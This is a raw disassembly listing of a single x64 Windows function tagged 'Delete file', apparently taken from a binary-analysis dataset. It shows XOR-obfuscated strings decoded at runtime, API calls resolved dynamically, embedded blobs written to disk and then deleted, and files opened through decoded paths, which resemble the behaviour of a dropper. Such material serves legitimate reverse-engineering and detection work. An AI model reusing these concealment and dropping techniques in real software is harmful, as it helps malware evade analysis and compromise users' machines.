Function at 0x140006370
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov byte [rsp + 0x40], 0x29
mov al, 0x47
mov cl, 0x5d
mov dl, 0x4d
mov r8b, 0x45
movzx r9d, r8b
mov r10b, 7
movzx r11d, dl
movzx ebx, r8b
movzx edi, r8b
xor esi, esi
xor al, 0x29
mov byte [rsp + 0x41], al
xor cl, 0x29
mov byte [rsp + 0x42], cl
xor dl, 0x29
mov byte [rsp + 0x43], dl
xor r8b, 0x29
mov byte [rsp + 0x44], r8b
xor r9b, 0x29
mov byte [rsp + 0x45], r9b
xor r10b, 0x29
mov byte [rsp + 0x46], r10b
xor r11b, 0x29
mov byte [rsp + 0x47], r11b
xor bl, 0x29
mov byte [rsp + 0x48], bl
xor dil, 0x29
mov byte [rbp - 0x80], dil
mov byte [rbp - 0x7f], sil
lea rcx, [rsp + 0x41]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp - 0x19], rax
test rax, rax
je 0x1400064f6
mov byte [rbp - 0x79], 0x26
mov cl, reloc.WS2_32.dll_WSACleanup
mov dl, 0x52
mov r8b, 0x4a
mov r9b, 0x61
mov r10b, 0x43
movzx r11d, dl
mov bl, 0x70
movzx edi, r10b
mov al, 0x54
mov sil, 0x55
mov r14b, 0x4f
mov r15b, 0x49
mov r12b, 0x48
xor r13d, r13d
xor cl, 0x26
mov byte [rbp - 0x78], cl
xor dl, 0x26
mov byte [rbp - 0x77], dl
xor r8b, 0x26
mov byte [rbp - 0x76], r8b
xor r9b, 0x26
mov byte [rbp - 0x75], r9b
xor r10b, 0x26
mov byte [rbp - 0x74], r10b
xor r11b, 0x26
mov byte [rbp - 0x73], r11b
xor bl, 0x26
mov byte [rbp - 0x72], bl
xor dil, 0x26
mov byte [rbp - 0x71], dil
xor al, 0x26
mov byte [rbp - 0x70], al
xor sil, 0x26
mov byte [rbp - 0x6f], sil
xor r14b, 0x26
mov byte [rbp - 0x6e], r14b
xor r15b, 0x26
mov byte [rbp - 0x6d], r15b
xor r12b, 0x26
mov byte [rbp - 0x6c], r12b
mov byte [rbp - 0x6b], r13b
lea rdx, [rbp - 0x78]
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400334e8], rax
test rax, rax
je 0x1400064f4
lea rcx, [0x1400333d0]
call rax
xor esi, esi
test eax, eax
jne 0x1400064f6
mov eax, esi
cmp dword [0x1400333d4], 0xa
sete al
mov dword [section..data], eax
jmp 0x1400064f6
xor esi, esi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call fcn.1400060a0
test al, al
je 0x140006527
mov rax, 0xffffffffffffffff
jmp 0x140006af0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140033350], xmm0
movups xmmword [0x140033360], xmm0
movups xmmword [0x140033370], xmm0
movups xmmword [0x140033380], xmm0
movups xmmword [0x140033390], xmm0
movups xmmword [0x1400333a0], xmm0
mov dword [0x1400333b0], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd rdi, r8d
test r8d, r8d
jle 0x1400065d1
mov rbx, rsi
movabs r14, 0x4ec4ec4ec4ec4ec5
lea rsi, [0x140000000]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rsi + 0x2ea40]
mov byte [rbx + rsi + 0x33350], al
inc rbx
cmp rbx, rdi
jl 0x1400065a0
lea rcx, [rbp + 0xf]
call fcn.140005b50
nop
cmp qword [rbp + 0x1f], 0
je 0x140006aa3
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 7
cmova rcx, qword [rbp + 0xf]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov r8d, 0x8708
lea rdx, [0x1400105a0]
lea rcx, [rbp + 0xf]
call fcn.14000d590
test al, al
je 0x140006aa3
lea rcx, [rbp + 0xf]
call fcn.14000ba90
test al, al
jne 0x1400066c0
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 7
cmova rcx, qword [rbp + 0xf]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov r8d, 0x9a78
lea rdx, [0x140018cb0]
lea rcx, [rbp + 0xf]
call fcn.14000d590
test al, al
je 0x140006aa3
lea rcx, [rbp + 0xf]
call fcn.14000ba90
test al, al
jne 0x1400066c0
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 7
cmova rcx, qword [rbp + 0xf]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov r8d, 0xc238
lea rdx, [0x140022730]
lea rcx, [rbp + 0xf]
call fcn.14000d590
test al, al
je 0x140006aa3
lea rcx, [rbp + 0xf]
call fcn.14000ba90
test al, al
jne 0x1400066c0
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 7
cmova rcx, qword [rbp + 0xf]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x140006aa3
mov ecx, 0x1f
mov dword [rbp - 0x19], ecx
mov word [rbp - 0x69], cx
mov eax, 0x43
movzx edi, ax
movzx esi, ax
lea r10d, [rcx + 0x32]
lea r14d, [rcx + 0x5f]
lea r15d, [rcx + 0x54]
movzx r11d, cx
movzx r12d, word [str..Ndd]
xor r12w, cx
movzx ebx, word [0x14002ea32]
xor bx, cx
movzx r9d, word [0x14002ea34]
xor r9w, cx
movzx r8d, word [0x14002ea36]
xor r8w, cx
movzx edx, word [0x14002ea38]
xor dx, cx
movzx ecx, word [0x14002ea3a]
xor cx, r11w
movzx eax, word [0x14002ea3c]
xor ax, r11w
mov r13d, 0x43
xor r13w, word [rbp - 0x19]
mov word [rbp - 0x67], r13w
xor di, r11w
mov word [rbp - 0x65], di
mov edi, 0x1f
mov r13d, 0x31
xor r13w, di
mov word [rbp - 0x63], r13w
xor si, di
mov word [rbp - 0x61], si
xor r10w, di
mov word [rbp - 0x5f], r10w
xor r14w, di
mov word [rbp - 0x5d], r14w
xor r15w, di
mov word [rbp - 0x5b], r15w
xor r11w, di
mov word [rbp - 0x59], r11w
xor r12w, di
mov word [rbp - 0x57], r12w
xor bx, di
mov word [rbp - 0x55], bx
xor r9w, di
mov word [rbp - 0x53], r9w
xor r8w, di
mov word [rbp - 0x51], r8w
xor dx, di
mov word [rbp - 0x4f], dx
xor cx, di
mov word [rbp - 0x4d], cx
xor ax, di
mov word [rbp - 0x4b], ax
xor eax, eax
mov word [rbp - 0x49], ax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp - 0x67]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r13, rax
inc rax
test rax, 0xfffffffffffffffe
jne 0x140006942
mov eax, 0x35
mov word [rbp - 0x41], ax
mov r13d, 0x69
movzx r10d, r13w
movzx r11d, r13w
lea ebx, [rdi + 0x32]
lea r15d, [rdi + 0x5c]
movzx edi, ax
movzx r12d, word [str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
xor r12w, ax
movzx esi, word [0x14002ea42]
xor si, ax
movzx edx, word [0x14002ea44]
xor dx, ax
movzx r9d, word [0x14002ea46]
xor r9w, ax
movzx r8d, word [0x14002ea48]
xor r8w, ax
movzx ecx, word [0x14002ea4a]
xor cx, ax
movzx eax, word [0x14002ea4c]
xor ax, di
xor r13w, di
mov word [rbp - 0x3f], r13w
mov r13d, 0x35
xor r10w, r13w
mov word [rbp - 0x3d], r10w
mov r14d, 0x1b
xor r14w, r13w
mov word [rbp - 0x3b], r14w
xor r11w, r13w
mov word [rbp - 0x39], r11w
xor r15w, r13w
mov word [rbp - 0x37], r15w
mov r10d, ebx
xor r10w, r13w
mov word [rbp - 0x35], r10w
xor bx, r13w
mov word [rbp - 0x33], bx
xor di, r13w
mov word [rbp - 0x31], di
xor r12w, r13w
mov word [rbp - 0x2f], r12w
xor si, r13w
mov word [rbp - 0x2d], si
xor dx, r13w
mov word [rbp - 0x2b], dx
xor r9w, r13w
mov word [rbp - 0x29], r9w
xor r8w, r13w
mov word [rbp - 0x27], r8w
xor cx, r13w
mov word [rbp - 0x25], cx
xor ax, r13w
mov word [rbp - 0x23], ax
xor eax, eax
mov word [rbp - 0x21], ax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp - 0x3f]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r13, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140006a9b
mov byte [rsp + 0x40], 0x41
mov al, 0x2f
mov cl, 0x35
mov dl, 0x2e
mov r8b, 0x32
mov r9b, 0x2a
mov r10b, 0x33
movzx r11d, al
mov bl, 0x2d
mov dil, 0x6f
mov sil, 0x24
mov r14b, 0x39
movzx r15d, sil
xor r12d, r12d
xor al, 0x41
mov byte [rsp + 0x41], al
xor cl, 0x41
mov byte [rsp + 0x42], cl
xor dl, 0x41
mov byte [rsp + 0x43], dl
xor r8b, 0x41
mov byte [rsp + 0x44], r8b
xor r9b, 0x41
mov byte [rsp + 0x45], r9b
xor r10b, 0x41
mov byte [rsp + 0x46], r10b
xor r11b, 0x41
mov byte [rsp + 0x47], r11b
xor bl, 0x41
mov byte [rsp + 0x48], bl
xor dil, 0x41
mov byte [rbp - 0x80], dil
xor sil, 0x41
mov byte [rbp - 0x7f], sil
xor r14b, 0x41
mov byte [rbp - 0x7e], r14b
xor r15b, 0x41
mov byte [rbp - 0x7d], r15b
mov byte [rbp - 0x7c], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
lea rax, [rsp + 0x41]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x1400069f0
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x11]
call fcn.140002f20
nop
lea rcx, [rbp - 0x11]
call fcn.14000da20
mov qword [0x1400333b8], rax
mov rdx, qword [rbp + 7]
cmp rdx, 0xf
jbe 0x140006a5d
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de64
mov rax, qword [0x1400333b8]
mov rcx, r13
test rax, rax
je 0x140006a9e
call fcn.140004710
mov rcx, r13
test al, al
je 0x140006a9e
call fcn.140003e70
mov rcx, r13
test al, al
je 0x140006a9e
call fcn.140004460
test al, al
je 0x140006a9b
cmp dword [section..data], 0
je 0x140006aaa
mov rcx, r13
call fcn.140004c40
test al, al
jne 0x140006aaa
mov rcx, r13
call fcn.140007e10
mov r13, 0xffffffffffffffff
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x140006aed
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ae8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006ae8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de64
mov rax, r13
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.14000e100
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret